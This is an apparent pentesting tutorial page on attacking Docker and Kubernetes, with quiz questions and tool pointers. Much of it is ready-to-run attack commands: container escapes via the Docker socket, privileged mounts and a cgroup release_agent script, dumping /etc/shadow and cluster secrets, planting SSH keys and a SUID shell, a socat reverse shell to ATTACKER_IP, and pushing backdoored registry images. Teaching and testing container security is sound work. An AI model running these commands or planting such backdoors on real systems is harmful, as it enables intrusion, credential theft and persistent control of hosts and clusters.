kavklaw@llm ~ /guides/docker-kubernetes

kavklaw@llm $ cat docker-k8s-guide.md

Docker & Kubernetes for Pentesters

πŸ”΄ Advanced

⏱️ 25 min read · Escape containers, exploit registries, and pwn Kubernetes clusters

← Back to Guides

This guide covers both attacking Docker/Kubernetes and understanding how they work. Here's what to have installed depending on which sections you're following:

# Docker β€” needed to follow along with container examples
# Install: https://docs.docker.com/engine/install/
curl -fsSL https://get.docker.com | sh
sudo usermod -aG docker $USER   # Run docker without sudo (log out/in after)

# kubectl β€” the Kubernetes CLI (needed for K8s sections)
# Install: https://kubernetes.io/docs/tasks/tools/
curl -LO "https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/

# Impacket tools (secretsdump.py, etc.) β€” many come with Kali
pip3 install impacket

# Pentest tools referenced in this guide
# deepce, CDK, peirates β€” download from their GitHub releases as needed

If you're on Kali Linux, Docker isn't installed by default but kubectl and impacket usually are. For the attack sections, you don't need Docker or kubectl on your attacker machine β€” the commands run on the target. The installs above are for labbing and understanding the fundamentals.

⚑ Quick Start

Landed inside a container and need to know if you can break out? A container escape means breaking out of the isolated container environment to access the host machine that runs it β€” escalating from a sandboxed process to full host access. Here's the 60-second triage:

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepod\|containerd" && echo "YES: Container"
ls -la /.dockerenv 2>/dev/null && echo "YES: Docker container"
cat /proc/1/sched 2>/dev/null | head -1  # PID 1 = init in a real system, your process in a container

# Can I escape?
ls -la /var/run/docker.sock 2>/dev/null && echo "ESCAPE: Docker socket mounted!"
cat /proc/1/status | grep -i cap  # Check capabilities
fdisk -l 2>/dev/null | grep -i "dev" && echo "ESCAPE: Host disk may be accessible"
mount | grep -i "docker\|overlay"

# Am I in Kubernetes?
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "YES: Kubernetes pod"
env | grep -i kube

If you see the Docker socket or elevated capabilities, you likely have a path to the host. Here's every technique you need.

🐳 Docker Security Basics

Docker containers share the host's operating system kernel (the core of the OS). They're not virtual machines -- VMs emulate entire computers, while containers are more like isolated processes. Containers use Linux kernel features (namespaces, cgroups, capabilities) to create isolation, but this isolation is weaker than full virtualization. That's what makes container escapes possible.

How Docker Isolation Works

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    DOCKER ISOLATION MODEL                     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  NAMESPACES ─── what the container can SEE                   β”‚
β”‚  β”œβ”€β”€ PID:     Only its own processes (PID 1 = your app)      β”‚
β”‚  β”œβ”€β”€ Network: Own network stack (172.17.0.x)                 β”‚
β”‚  β”œβ”€β”€ Mount:   Own filesystem (overlayfs)                     β”‚
β”‚  β”œβ”€β”€ UTS:     Own hostname                                   β”‚
β”‚  β”œβ”€β”€ IPC:     Isolated inter-process communication           β”‚
β”‚  └── User:    (optional) Maps root to unprivileged host user β”‚
β”‚                                                              β”‚
β”‚  CGROUPS ──── what the container can USE                     β”‚
β”‚  └── Limits CPU, memory, disk I/O, network bandwidth         β”‚
β”‚                                                              β”‚
β”‚  CAPABILITIES ─ what the container can DO                    β”‚
β”‚  β”œβ”€β”€ Default: CHOWN, NET_BIND_SERVICE, SETUID, SETGID...    β”‚
β”‚  └── Dangerous: SYS_ADMIN, SYS_PTRACE, DAC_READ_SEARCH     β”‚
β”‚                                                              β”‚
β”‚  SECURITY MODULES                                            β”‚
β”‚  β”œβ”€β”€ AppArmor: restricts file access, capabilities, network  β”‚
β”‚  β”œβ”€β”€ Seccomp:  restricts allowed system calls                β”‚
β”‚  └── SELinux:  mandatory access control                      β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The pentester's goal is to find where this isolation breaks down. Containers are frequently misconfigured in practice because developers prioritize convenience over security: they run containers with --privileged to avoid permission issues, mount the Docker socket so apps can manage other containers, expose the Docker API without authentication for easy remote management, pass secrets as environment variables instead of using a secrets manager, and mount host directories to share files. Each of these shortcuts weakens or entirely breaks the isolation model, creating escape paths that didn't need to exist.

πŸ” Finding Docker

Docker exposes its management interface via a socket or a TCP port. Finding these is the first step to Docker exploitation.

nmap -p 2375,2376,2377 target.com

Docker ports to know:

  • 2375 β€” Docker API (unencrypted, unauthenticated!) ← GOLDMINE
  • 2376 β€” Docker API (TLS, usually requires client cert)
  • 2377 β€” Docker Swarm manager

Shodan dorks: port:2375 product:"Docker"

If you find port 2375 open and unauthenticated, you have full control over the Docker daemon:

curl http://target.com:2375/version
curl http://target.com:2375/containers/json

Check for Docker from inside a container:

ls -la /var/run/docker.sock     # Mounted socket
env | grep DOCKER               # Docker environment variables
cat /proc/net/tcp | grep :0945  # Port 2375 in hex = 0945
πŸ’‘ Pro Tip: An exposed Docker API on port 2375 without authentication is equivalent to root access on the host. Docker runs as root, and the API lets you create privileged containers with the host filesystem mounted. This is one of the most critical misconfigurations you can find.

πŸ”Œ Docker Socket Exploitation

The Docker socket (/var/run/docker.sock) is a Unix socket file that acts as the communication channel between the Docker CLI (command-line tool) and the Docker daemon (background service that manages containers). If this socket is mounted inside a container, you can control the Docker daemon from within the container -- and that means you can escape.

# Check if the Docker socket is mounted
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan 1 00:00 /var/run/docker.sock
# ↑ If you see this, you can control Docker!

# Use the socket with curl
curl --unix-socket /var/run/docker.sock http://localhost/version
curl --unix-socket /var/run/docker.sock http://localhost/images/json
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# Install Docker CLI inside the container (if not present)
# Download static binary:
wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.9.tgz
tar xzf docker-20.10.9.tgz
./docker/docker -H unix:///var/run/docker.sock ps

# ESCAPE: Mount the host filesystem into a new container
docker -H unix:///var/run/docker.sock run -v /:/hostfs -it alpine chroot /hostfs
# You now have a root shell on the HOST filesystem!

# Or do it with curl (no Docker CLI needed):
# 1. Create a container with host filesystem mounted
curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Mounts":[{"Type":"bind","Source":"/","Target":"/hostfs"}],"HostConfig":{"Privileged":true}}' \
  http://localhost/containers/create?name=pwned

# 2. Start the container
curl --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/pwned/start

# 3. Execute command in the container
curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/hostfs/etc/shadow"],"Tty":true}' \
  http://localhost/containers/pwned/exec

# Or write your SSH key for persistent access:
# docker run -v /:/hostfs alpine sh -c "echo 'YOUR_SSH_KEY' >> /hostfs/root/.ssh/authorized_keys"

πŸƒ Escaping Containers

Container escape (breaking out of the container to access the host system) is the holy grail of Docker pentesting. Here are the major escape techniques, from most common to most advanced.

Escape 1: --privileged Flag

Privileged containers disable almost ALL security restrictions β€” full access to host devices, all capabilities, and no seccomp filters.

# Check if we're privileged
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff ← All capabilities = privileged!
# Compare: 00000000a80425fb ← Default (limited) capabilities

# Escape via host disk mount
fdisk -l  # List available disks
# /dev/sda1 - the host root filesystem

mkdir /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host  # You're looking at the HOST filesystem!

# Add your SSH key for persistent access
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys

# Or create a SUID bash for instant root
cp /mnt/host/bin/bash /mnt/host/tmp/pwn
chmod +s /mnt/host/tmp/pwn
# On the host: /tmp/pwn -p β†’ root shell

# Alternative: chroot into the host
chroot /mnt/host /bin/bash
# You are now effectively root on the host

Escape 2: Host PID Namespace (--pid=host)

If the container shares the host PID namespace, you can see ALL host processes. If you see systemd, sshd, dockerd, etc. in ps aux β€” you're in host PID namespace.

ps aux  # Shows host processes, not just container processes

# Escape via nsenter (enter the namespace of PID 1 on the host)
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# β†’ ROOT SHELL on the host!

# If nsenter isn't available:
ls -la /proc/1/root/  # Access the host's root filesystem directly

Escape 3: Host Network Namespace (--net=host)

The container shares the host's network stack β€” you can access services bound to 127.0.0.1 on the host and sniff ALL host network traffic.

curl http://127.0.0.1:8080   # Host services that aren't exposed externally
curl http://127.0.0.1:2375   # Docker API might be listening on localhost!
tcpdump -i eth0 -w capture.pcap

Escape 4: Dangerous Capabilities

SYS_ADMIN β€” allows mounting filesystems. Check with capsh --print | grep sys_admin.

SYS_ADMIN escape via cgroup release_agent:

# SYS_ADMIN escape via cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output  # Contains host's /etc/shadow!

Other dangerous capabilities:

  • SYS_PTRACE β€” allows tracing/debugging processes; can inject shellcode into host processes
  • DAC_READ_SEARCH β€” bypass file read permission checks; can read any file on mounted filesystems
πŸ’‘ Pro Tip: The capsh --print command shows your effective capabilities. Compare against the default Docker capabilities. Anything extra is a potential escape vector. SYS_ADMIN alone is enough for a full escape.

πŸ“‹ Container Enumeration from Inside

Landed inside a container with no obvious escape? Systematically enumerate everything.

# Basic container information
hostname
cat /etc/hostname
cat /etc/hosts           # May reveal other containers and internal networks
cat /etc/resolv.conf     # DNS server (often the Docker host or k8s DNS)
mount                    # What's mounted? Any host volumes?
df -h                    # Filesystem layout

# Network information
ip addr show             # Container IP (usually 172.17.0.x for Docker)
ip route                 # Default gateway (usually the Docker host: 172.17.0.1)
cat /proc/net/arp        # Other containers on the same network
cat /proc/net/tcp        # Open connections

# Scan the internal network
# The Docker bridge network is usually 172.17.0.0/16
for i in $(seq 1 20); do
  ping -c 1 -W 1 172.17.0.$i 2>/dev/null | grep "bytes from" &
done
wait

# Environment variables (may contain secrets!)
env | sort
# Look for: DATABASE_URL, AWS_SECRET_ACCESS_KEY, API_KEY, etc.

# Process information
ps aux                   # What's running? Can we see host processes?
cat /proc/1/cgroup       # Confirm container type (docker, kubepod, lxc)

# Capabilities check
cat /proc/1/status | grep -i cap
capsh --print 2>/dev/null

# Check for common escape paths
ls -la /var/run/docker.sock   # Docker socket
ls -la /dev/                  # Available devices
fdisk -l 2>/dev/null          # Accessible disks
ls -la /proc/sysrq-trigger    # Kernel sysrq (if writable, might indicate privileged)

# Check for metadata service (cloud environments)
curl -s http://169.254.169.254/latest/meta-data/                                                # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/                 # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"   # Azure
🧠Knowledge Check -- Docker Security & Container Escapes
You land inside a container and find /var/run/docker.sock is mounted. What is the fastest way to escape to the host?
The Docker socket gives you full control over the Docker daemon. You can create a new container with -v /:/hostfs --privileged and chroot into the host filesystem. This is the fastest and most reliable escape β€” equivalent to root on the host.
Complete the command to create a privileged container that mounts the host root filesystem using the Docker socket:
$ docker -H unix:///var/run/docker.sock run  --privileged alpine chroot /hostfs
The flag -v /:/hostfs bind-mounts the host's root filesystem (/) into the container at /hostfs. Combined with --privileged and chroot /hostfs, you get a root shell with full access to the host's filesystem, effectively escaping the container.
A container's CapEff in /proc/1/status shows 0000003fffffffff. What does this indicate?
0000003fffffffff means all capability bits are set β€” the container was started with --privileged, which disables almost all security restrictions. This is the most common misconfiguration and allows trivial escape by mounting the host disk with mount /dev/sda1 /mnt.

πŸ”§ Abusing the Docker API

The Docker API (port 2375/2376) provides full control over the Docker daemon. If accessible without authentication, it's game over.

# Version info
curl http://target:2375/version

# List all containers (running and stopped)
curl http://target:2375/containers/json?all=true

# List all images
curl http://target:2375/images/json

# Pull and inspect images (may contain secrets in layers)
curl -X POST http://target:2375/images/create?fromImage=alpine&tag=latest

# Create a privileged container with host filesystem
curl -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "cat /hostfs/etc/shadow"],
    "HostConfig": {
      "Binds": ["/:/hostfs"],
      "Privileged": true
    }
  }' \
  http://target:2375/containers/create?name=attacker

# Start the container
curl -X POST http://target:2375/containers/attacker/start

# Get output (logs)
curl http://target:2375/containers/attacker/logs?stdout=true

# Execute a reverse shell
curl -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "apk add socat && socat TCP:ATTACKER_IP:4444 EXEC:/bin/sh"],
    "HostConfig": {
      "Binds": ["/:/hostfs"],
      "Privileged": true,
      "NetworkMode": "host"
    }
  }' \
  http://target:2375/containers/create?name=revshell

curl -X POST http://target:2375/containers/revshell/start

πŸ“¦ Docker Registry Exploitation

Docker registries (port 5000) store container images. Unsecured registries let you list, pull, and even push images, including backdoored ones.

# Check if a registry is accessible
curl http://target:5000/v2/

# List all repositories (images)
curl http://target:5000/v2/_catalog
# {"repositories": ["webapp", "api", "internal-tools"]}

# List tags for a repository
curl http://target:5000/v2/webapp/tags/list
# {"name": "webapp", "tags": ["latest", "v1.0", "dev"]}

# Get image manifest (layer information)
curl http://target:5000/v2/webapp/manifests/latest

# Download and extract image layers (they're just tar.gz files)
# Each layer may contain source code, configs, credentials
curl http://target:5000/v2/webapp/blobs/sha256:LAYER_HASH -o layer.tar.gz
tar xzf layer.tar.gz

# Look for secrets in extracted layers
find . -name "*.conf" -o -name "*.env" -o -name "*.yml" -o -name "*.json" | \
  xargs grep -l -i "password\|secret\|key\|token"

# Push a backdoored image (if write access is allowed)
# 1. Pull the legitimate image
# 2. Add your backdoor (reverse shell in entrypoint)
# 3. Push it back with the same tag
# 4. Wait for someone to docker pull it β†’ they run your backdoor

# Using crane (lightweight registry tool)
crane catalog target:5000
crane ls target:5000/webapp
crane pull target:5000/webapp:latest webapp.tar
crane push backdoored.tar target:5000/webapp:latest
πŸ’‘ Pro Tip: Image layers often contain credentials baked in during the build process. Even if the final image doesn't have the credentials (deleted in a later layer), they still exist in earlier layers. Always extract and search every layer, not just the final filesystem.

☸️ Kubernetes Basics

Kubernetes (often abbreviated as k8s) is a container orchestration platform β€” it manages, scales, and deploys containers across multiple servers automatically. Instead of manually running Docker containers on individual servers, you tell Kubernetes "I want 5 copies of my web app running at all times" and it handles the rest: scheduling containers onto available servers, restarting crashed ones, scaling up during traffic spikes, and load-balancing requests. Think of Docker as managing a single container, and Kubernetes as managing an entire fleet of containers across a cluster of machines. You need to know the architecture to know where to attack.

# Kubernetes Architecture:
#
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚                Control Plane                         β”‚
# β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
# β”‚  β”‚API Serverβ”‚  β”‚ etcd β”‚  β”‚Schedulerβ”‚  β”‚Controllerβ”‚ β”‚
# β”‚  β”‚ (6443)   β”‚  β”‚(2379)β”‚  β”‚         β”‚  β”‚ Manager  β”‚ β”‚
# β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#                         β”‚
#         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
#         β–Ό               β–Ό               β–Ό
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚  Worker Node β”‚ β”‚  Worker Node β”‚ β”‚  Worker Node β”‚
# β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
# β”‚ β”‚ kubelet  β”‚ β”‚ β”‚ β”‚ kubelet  β”‚ β”‚ β”‚ β”‚ kubelet  β”‚ β”‚
# β”‚ β”‚ (10250)  β”‚ β”‚ β”‚ β”‚ (10250)  β”‚ β”‚ β”‚ β”‚ (10250)  β”‚ β”‚
# β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚
# β”‚ β”‚  Pod A   β”‚ β”‚ β”‚ β”‚  Pod C   β”‚ β”‚ β”‚ β”‚  Pod E   β”‚ β”‚
# β”‚ β”‚  Pod B   β”‚ β”‚ β”‚ β”‚  Pod D   β”‚ β”‚ β”‚ β”‚  Pod F   β”‚ β”‚
# β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#
# Key components:
# API Server (6443)  β€” Central control plane, all comms go through it
# etcd (2379)        β€” Key-value store with ALL cluster data (secrets!)
# kubelet (10250)    β€” Agent on each node, manages pods
# kube-proxy         β€” Network proxy for service routing
# Pods               β€” Smallest deployable unit (one or more containers)

🎯 Kubernetes Attack Surface

nmap -p 443,2379,6443,8080,8443,10250,10255,10256 target.com

Kubernetes ports and what they expose:

  • 6443 β€” API Server (usually requires auth, but check!)
  • 2379 β€” etcd (the crown jewels β€” ALL cluster data)
  • 10250 β€” kubelet API (can execute commands in pods!)
  • 10255 β€” kubelet read-only API (information disclosure)
  • 8080 β€” API Server insecure port (no auth = FULL CLUSTER COMPROMISE)
  • 8443 β€” Kubernetes Dashboard (often misconfigured β€” look for "Skip" login)
# API Server
curl -k https://target:6443/api/v1/namespaces
curl -k https://target:6443/version

# etcd β€” if accessible without auth, you can read ALL secrets
curl http://target:2379/v2/keys/?recursive=true
etcdctl --endpoints=http://target:2379 get / --prefix --keys-only

# kubelet β€” list pods and exec into them
curl -k https://target:10250/pods
curl -k https://target:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id"

# kubelet read-only β€” lists all pods with env vars, volumes
curl http://target:10255/pods

# API Server insecure port
curl http://target:8080/api/v1/namespaces/default/secrets

πŸ”Ž kubectl Enumeration

If you have access to a kubeconfig file (Kubernetes config with credentials) or a service account token (an authentication token automatically given to every pod), you can use kubectl (the Kubernetes command-line tool) to enumerate the cluster.

# Check current permissions
kubectl auth can-i --list
# Resources: pods, secrets, deployments, services...
# Verbs: get, list, watch, create, delete, exec...

# List namespaces
kubectl get namespaces

# List pods in all namespaces
kubectl get pods --all-namespaces -o wide

# List services (find internal endpoints)
kubectl get services --all-namespaces

# List secrets (may contain passwords, tokens, certs)
kubectl get secrets --all-namespaces
kubectl get secret SECRET_NAME -o jsonpath='{.data}' | base64 -d

# List configmaps (often contain configuration with credentials)
kubectl get configmaps --all-namespaces
kubectl get configmap CONFIG_NAME -o yaml

# List service accounts
kubectl get serviceaccounts --all-namespaces

# List roles and role bindings (who can do what)
kubectl get clusterroles
kubectl get clusterrolebindings
kubectl get roles --all-namespaces
kubectl get rolebindings --all-namespaces

# Describe a specific role to see permissions
kubectl describe clusterrole admin

# Check if you can exec into pods
kubectl auth can-i exec pods
# If yes: kubectl exec -it POD_NAME -- /bin/sh

# List deployments (understand the application architecture)
kubectl get deployments --all-namespaces -o wide

# Get pod details (volumes, environment variables, images)
kubectl describe pod POD_NAME -n NAMESPACE

πŸƒ Pod Escape

Escaping from a Kubernetes pod follows similar principles to Docker container escape, with some k8s-specific techniques.

# Check if the pod is privileged
cat /proc/1/status | grep CapEff
# 0000003fffffffff = all caps = privileged

# Privileged pod escape (same as Docker)
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
# Now on the host node β†’ can access kubelet, other pods, etc.

# Check for hostPath volumes (host filesystem access)
mount | grep -v "overlay\|proc\|sysfs\|cgroup\|tmpfs"
# If you see /host or similar β†’ host filesystem is mounted

# Check for host PID namespace
ls /proc/*/cmdline 2>/dev/null | wc -l
# Many processes = host PID namespace

# Node access β†’ pivot to other pods
# If you escaped to a node, you can access:
# 1. kubelet credentials: /var/lib/kubelet/config.yaml
# 2. Container runtime socket: /var/run/containerd/containerd.sock
# 3. Other pods' filesystems: /var/lib/kubelet/pods/
# 4. Node-level kubeconfig: /etc/kubernetes/kubelet.conf

# Use crictl (containerd CLI) on the node
crictl ps                    # List containers
crictl exec -it CONTAINER_ID /bin/sh  # Exec into another container
crictl images                # List images

🎫 Service Account Token Abuse

Every Kubernetes pod gets a service account token mounted automatically. This token is a JWT (JSON Web Token -- a signed piece of data that proves your identity) that authenticates to the API server.

# Service account token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Set up environment to use the token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
export API_SERVER="https://kubernetes.default.svc"

# Authenticate to the API server
curl -k -H "Authorization: Bearer $TOKEN" \
  $API_SERVER/api/v1/namespaces/$NAMESPACE/pods

# Check what this service account can do
curl -k -H "Authorization: Bearer $TOKEN" \
  $API_SERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NAMESPACE'"}}'

# If the service account can create pods β†’ escape!
# Create a privileged pod that mounts the host filesystem
curl -k -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "attacker-pod"},
    "spec": {
      "containers": [{
        "name": "pwn",
        "image": "alpine",
        "command": ["/bin/sh", "-c", "sleep 3600"],
        "securityContext": {"privileged": true},
        "volumeMounts": [{"mountPath": "/host", "name": "host-vol"}]
      }],
      "volumes": [{"name": "host-vol", "hostPath": {"path": "/"}}]
    }
  }' \
  $API_SERVER/api/v1/namespaces/$NAMESPACE/pods

# If the service account can list secrets β†’ dump them all
curl -k -H "Authorization: Bearer $TOKEN" \
  $API_SERVER/api/v1/namespaces/$NAMESPACE/secrets | \
  python3 -c "import json,sys,base64; secrets=json.load(sys.stdin); [print(s['metadata']['name'],{k:base64.b64decode(v).decode() for k,v in s.get('data',{}).items()}) for s in secrets.get('items',[])]"

πŸ”‘ Secrets Extraction

Kubernetes "secrets" are only base64-encoded (NOT encrypted by default). Base64 is not encryption -- it's just a text encoding anyone can reverse. If you can read a secret, you have the plaintext.

kubectl get secrets -A

# Decode a secret
kubectl get secret db-credentials -o jsonpath='{.data.username}' | base64 -d
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Dump ALL secrets in a namespace
kubectl get secrets -o json | python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
for item in data.get('items', []):
    name = item['metadata']['name']
    print(f'\\n=== {name} ===')
    for k, v in item.get('data', {}).items():
        try:
            print(f'  {k}: {base64.b64decode(v).decode()}')
        except:
            print(f'  {k}: [binary data]')
"

# etcd direct access (if reachable) β€” stores secrets unencrypted by default!
ETCDCTL_API=3 etcdctl --endpoints=http://target:2379 \
  get /registry/secrets --prefix --keys-only

ETCDCTL_API=3 etcdctl --endpoints=http://target:2379 \
  get /registry/secrets/default/db-credentials

# Extract from environment variables inside pods
kubectl exec POD_NAME -- env | grep -i pass
kubectl exec POD_NAME -- cat /app/config.yml
πŸ’‘ Pro Tip: Kubernetes secrets are the #1 target in cluster attacks. They contain database passwords, API keys, TLS certificates, Docker registry credentials, and service account tokens. A single kubectl get secrets -A can hand you the keys to the entire infrastructure.
🧠Knowledge Check -- Kubernetes Attacks
Complete the command to use the Kubernetes service account token from inside a pod to list secrets:
$ curl -k -H "" https://kubernetes.default.svc/api/v1/namespaces/default/secrets
Every Kubernetes pod gets a service account token automatically mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. You use it as a Bearer token in the Authorization header to authenticate to the API server. If the service account has permission to list secrets, you can dump database passwords, API keys, and TLS certificates.
You discover an exposed Kubernetes API server on port 8080 (insecure, no authentication). You find etcd is also reachable on port 2379. Which is the higher-priority target and why?
etcd is the crown jewels β€” it's the key-value store containing ALL Kubernetes cluster data: secrets, configurations, service account tokens, and the entire cluster state. By default, secrets in etcd are only base64-encoded (not encrypted). Direct etcd access is a complete cluster compromise.

🌐 Network Pivoting in Kubernetes

# Kubernetes networking β€” pods can talk to each other by default!
# There's no network segmentation unless NetworkPolicy is configured

# Discover the cluster network
cat /etc/resolv.conf
# nameserver 10.96.0.10 β†’ Kubernetes DNS (CoreDNS/kube-dns)
# search default.svc.cluster.local svc.cluster.local cluster.local

# DNS enumeration of services
# Services are accessible as: SERVICE.NAMESPACE.svc.cluster.local
nslookup kubernetes.default.svc.cluster.local
dig SRV _https._tcp.kubernetes.default.svc.cluster.local

# Scan for common services in the cluster
for svc in mysql postgres redis mongodb elasticsearch rabbitmq kafka; do
  nslookup $svc.default.svc.cluster.local 2>/dev/null | grep -q "Address" && \
    echo "[+] Found: $svc"
done

# Scan the pod network (usually 10.244.0.0/16 or 10.0.0.0/8)
# Scan the service network (usually 10.96.0.0/12)
for i in $(seq 1 254); do
  ping -c 1 -W 1 10.96.0.$i 2>/dev/null | grep "bytes from" &
done
wait

# Access internal services directly
curl http://internal-api.production.svc.cluster.local:8080/admin
# ↑ No authentication might be required for internal services!

# Pivot through the cluster:
# Pod A β†’ compromise β†’ scan internal network β†’ find database β†’ dump data
#                   β†’ find other pods β†’ lateral movement

πŸ› οΈ Tools -- deepce, CDK, peirates

# deepce β€” Docker and container escape detection
# https://github.com/stealthcopter/deepce
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# Automatically checks:
# - Container type (Docker, LXC, Podman)
# - Capabilities and security modules
# - Mounted volumes and sockets
# - Possible escape vectors
# - Network configuration
# - Cloud metadata access

# CDK β€” Container pentest toolkit
# https://github.com/cdk-team/CDK
# Download the static binary and run:
./cdk evaluate               # Full container assessment
./cdk evaluate --full        # Deep evaluation
./cdk run shim-pwn          # Exploit containerd-shim CVE
./cdk run mount-disk        # Mount host disk
./cdk run service-probe     # Probe internal services

# peirates β€” Kubernetes penetration testing tool
# https://github.com/inguardians/peirates
./peirates
# Menu-driven tool for:
# - Service account token extraction
# - Secret enumeration
# - Privilege escalation via role binding
# - Pod creation (escape)
# - Reverse shell deployment
# - Cloud credential theft (AWS, GCP, Azure)

# kubectl-who-can β€” check RBAC permissions
